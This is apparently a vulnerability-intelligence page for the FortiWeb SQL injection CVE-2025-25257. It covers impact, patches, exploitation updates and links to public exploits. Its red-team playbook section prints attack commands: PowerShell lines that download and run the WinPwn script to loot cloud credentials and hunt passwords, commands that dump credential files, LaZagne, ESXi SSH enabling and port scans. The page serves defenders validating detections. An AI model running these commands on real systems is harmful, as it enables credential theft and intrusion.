CVE-2025-25257

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 17/07 Upd 26/02

Overview

This vulnerability is an SQL Injection flaw caused by improper neutralization of special elements within SQL commands processed by Fortinet FortiWeb. The root cause lies in insufficient input validation and sanitization of HTTP/HTTPS request parameters, specifically in the Authorization header. The affected component is the FortiWeb API endpoint handling fabric device status queries, which fails to properly handle crafted input leading to injection of unauthorized SQL commands.

Vulnerability Description

An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiWeb 7.6.0 through 7.6.3, FortiWeb 7.4.0 through 7.4.7, FortiWeb 7.2.0 through 7.2.10, FortiWeb 7.0.0 through 7.0.10 allows an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests.

Impact

An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL commands on the backend database, leading to unauthorized data access, data modification, or deletion. This can result in exposure of sensitive information, compromise of system integrity, and potential full system control. No user interaction or valid credentials are required, enabling remote exploitation and significant business impact such as data breaches or operational disruption.

Solution

Fortinet has released security updates addressing this vulnerability in FortiWeb versions 7.0.11, 7.2.11, 7.4.8, and 7.6.4. Administrators should apply these patches promptly. Detailed patch instructions and advisory information are available at the Fortinet PSIRT page: https://fortiguard.fortinet.com/psirt/FG-IR-25-151. No specific workarounds are recommended; upgrading to the fixed versions is the advised remediation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Fortinet's FortiWeb products stems from improper handling of special characters within SQL commands, leading to an SQL injection flaw. This type of vulnerability occurs when user input is not adequately sanitized before being included in SQL queries. In the affected versions of FortiWeb, an attacker can exploit this weakness by crafting malicious HTTP or HTTPS requests that contain specially formatted SQL code. When these requests are processed by the web application, the embedded SQL commands can be executed by the database, allowing unauthorized access to sensitive data or manipulation of the database itself.

Attack vectors for this vulnerability are particularly concerning due to the unauthenticated nature of the exploitation. An attacker does not need prior access or credentials to initiate an attack, which significantly lowers the barrier to entry. By sending crafted requests to the FortiWeb application, an attacker can execute arbitrary SQL commands. This could lead to various outcomes, including data exfiltration, data modification, or even complete control over the database. Scenarios may involve an attacker retrieving user credentials, sensitive business information, or even administrative access to the application itself. The ability to manipulate the database can also lead to denial-of-service conditions if the attacker chooses to delete critical data or disrupt normal operations.

The real-world impact of this vulnerability can be severe, especially for organizations that rely on FortiWeb for web application security. The potential for unauthorized data access poses significant business risks, including regulatory penalties for data breaches, loss of customer trust, and reputational damage. Organizations in regulated industries, such as finance or healthcare, may face heightened scrutiny and legal repercussions if sensitive data is compromised. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is critical and should be prioritized for remediation to prevent exploitation.

Detection and mitigation strategies should focus on both immediate and long-term measures. Organizations should implement robust input validation and sanitization practices to prevent SQL injection attacks. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they can be exploited. Additionally, updating to the latest versions of FortiWeb that address this vulnerability is crucial. Employing web application firewalls (WAFs) that can detect and block malicious SQL injection attempts can also serve as an additional layer of defense. Monitoring logs for unusual query patterns or unexpected database behavior can aid in the early detection of potential exploitation attempts.

In conclusion, the SQL injection vulnerability in Fortinet's FortiWeb products presents a significant threat to organizations using these systems. The ease of exploitation, coupled with the potential for severe consequences, necessitates immediate attention and action. By adopting comprehensive security practices, organizations can mitigate the risks associated with this vulnerability and protect their sensitive data from unauthorized access and manipulation.




CSURFACE threat intelligence has identified a notable surge in detection activity related to CVE-2025-25257, reflecting increased exploitation attempts against Fortinet FortiWeb deployments. This uptick is accompanied by a measurable rise in the Exploit Prediction Scoring System (EPSS), signaling a growing likelihood of successful exploitation in operational environments. Concurrently, new proof-of-concept exploits have surfaced publicly, broadening the attack surface by lowering the technical barrier for threat actors to weaponize this critical SQL injection vulnerability. Although ransomware groups previously linked to FortiWeb compromises remain unconfirmed in association with this CVE, the evolving exploit landscape underscores the potential for opportunistic adversaries to leverage this flaw for unauthorized data access or lateral movement. For defenders, this escalation necessitates heightened vigilance in monitoring FortiWeb instances for anomalous database queries and suspicious HTTP request patterns. The increased exploitation momentum elevates the overall threat level, reinforcing the urgency for organizations to prioritize detection and response capabilities tailored to this vulnerability.



Update 2 — June 17, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-25257, with telemetry indicating a significant surge in malicious activity exploiting this critical SQL injection vulnerability. The Exploit Prediction Scoring System (EPSS) score has surged dramatically, reflecting a rapidly increasing likelihood of exploitation in the wild. Concurrently, new proof-of-concept exploits have emerged across multiple public repositories, broadening the accessibility of attack tools to a wider range of adversaries. Although ransomware groups previously linked to FortiWeb compromises remain unconfirmed in association with this vulnerability, the increased exploitation momentum and expanded exploit availability elevate the risk of unauthorized data access and potential lateral movement within affected environments. For defenders, this shift underscores an urgent need to intensify monitoring and threat detection efforts, as the threat landscape surrounding this vulnerability has become more active and dynamic. Consequently, the overall threat level for CVE-2025-25257 has escalated from high to critical, reflecting its growing exploitation prevalence and the expanding attacker toolkit.



Update 3 — July 09, 2026

CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2025-25257, accompanied by the continued availability of multiple proof-of-concept tools that facilitate unauthorized SQL command execution on vulnerable Fortinet FortiWeb versions. While the overall exploitation momentum remains stable, the incremental rise in detection activity signals persistent attacker interest and ongoing probe efforts. Notably, no new ransomware campaigns have been linked to this vulnerability despite its association with several ransomware groups, indicating that exploitation is currently focused on reconnaissance and initial access rather than direct ransomware deployment. This subtle uptick in activity, combined with the broad accessibility of exploitation resources, underscores an elevated risk of unauthorized data exposure and potential lateral movement within compromised environments. Consequently, the threat level for CVE-2025-25257 remains critical, with defenders urged to maintain heightened vigilance as adversaries continue refining their tactics around this vulnerability.

Affected Products (4)

Vendor Product Version CPE
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

ExploitDB (1)

Title Author Type Platform Date Link
FortiWeb Fabric Connector 7.6.x - SQL Injection to Remote Code Execution Milad Karimi (Ex3ptionaL) webapps multiple - View

GitHub PoCs (12)

Repository Author Stars Forks Date Link
watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257
watchtowrlabs 99 25 2025-07-10 View
0xbigshaq/CVE-2025-25257
FortiWeb CVE-2025-25257 exploit
0xbigshaq 64 11 2025-07-11 View
TheStingR/CVE-2025-25257
Public PoC for CVE-2025-25257: FortiWeb pre-auth SQLi to RCE
TheStingR 5 1 2025-07-19 View
aitorfirm/CVE-2025-25257
Exploiting the CVE-2025-25257 vulnerability in FortiWeb. This repository demonstrates secure pre-authenticated SQL injec...
aitorfirm 1 2 2025-07-12 View
mrmtwoj/CVE-2025-25257
CVE‑2025‑25257 is a critical pre-authentication SQL injection vulnerability affecting Fortinet FortiWeb’s
mrmtwoj 1 1 2025-07-19 View
segfault-it/CVE-2025-25257
A working (at least for me :] ) exploit for CVE-2025-25257
segfault-it 1 0 2025-09-21 View
imbas007/CVE-2025-25257
imbas007 1 0 2025-07-12 View
0xgh057r3c0n/CVE-2025-25257
PoC for CVE-2025-25257, a critical unauthenticated SQL injection in FortiWeb. Exploits SQLi via the Authorization header...
0xgh057r3c0n 1 0 2025-07-15 View
adilburaksen/CVE-2025-25257-Exploit-Tool
Tool for detecting and exploiting CVE-2025-25257 in Fortinet FortiWeb.
adilburaksen 0 0 2025-07-12 View
mr-r3b00t/CVE-2025-25257
CVE-2025-25257 PoC for educational use and/or authorised pentesting.
mr-r3b00t 0 0 2025-11-11 View
lytianahkone-boop/cve-2025-25257
lytianahkone-boop 0 0 2025-12-16 View
GarethMSheldon/Fortinet-FortiWeb-Fabric-Connector-CVE-2025-25257-Detection
This repository provides production-ready detection engineering content for **CVE-2025-25257**, a pre-authentication SQL...
GarethMSheldon 0 0 2026-03-01 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

18 events
2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by Mora_001

Ransomware group known to exploit this vulnerability

2026-03-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-07-18
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2025-07-10
PoC Published (12 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Exploit Published (1 ExploitDB, 0 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

SQL Injection
100% sql_injection
Remote Code Execution
50% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-109 Object Relational Mapping Injection
60%
Low High
CAPEC-108 Command Line Execution through SQL Injection
57%
Low Very High
CAPEC-7 Blind SQL Injection
56%
High High
CAPEC-110 SQL Injection through SOAP Parameter Tampering
54%
High Very High
CAPEC-66 SQL Injection
51%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-25257
fortiguard.fortinet.com
GitHub CVE
https://fortiguard.fortinet.com/psirt/FG-IR-25-151
packetstorm.news
NVD API Exploit Third Party Advisory VDB Entry
https://packetstorm.news/files/id/210193/
exploit-db.com
NVD API Exploit Third Party Advisory VDB Entry
https://www.exploit-db.com/exploits/52473
github.com
NVD API Third Party Advisory
https://github.com/0xbigshaq/CVE-2025-25257
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-25257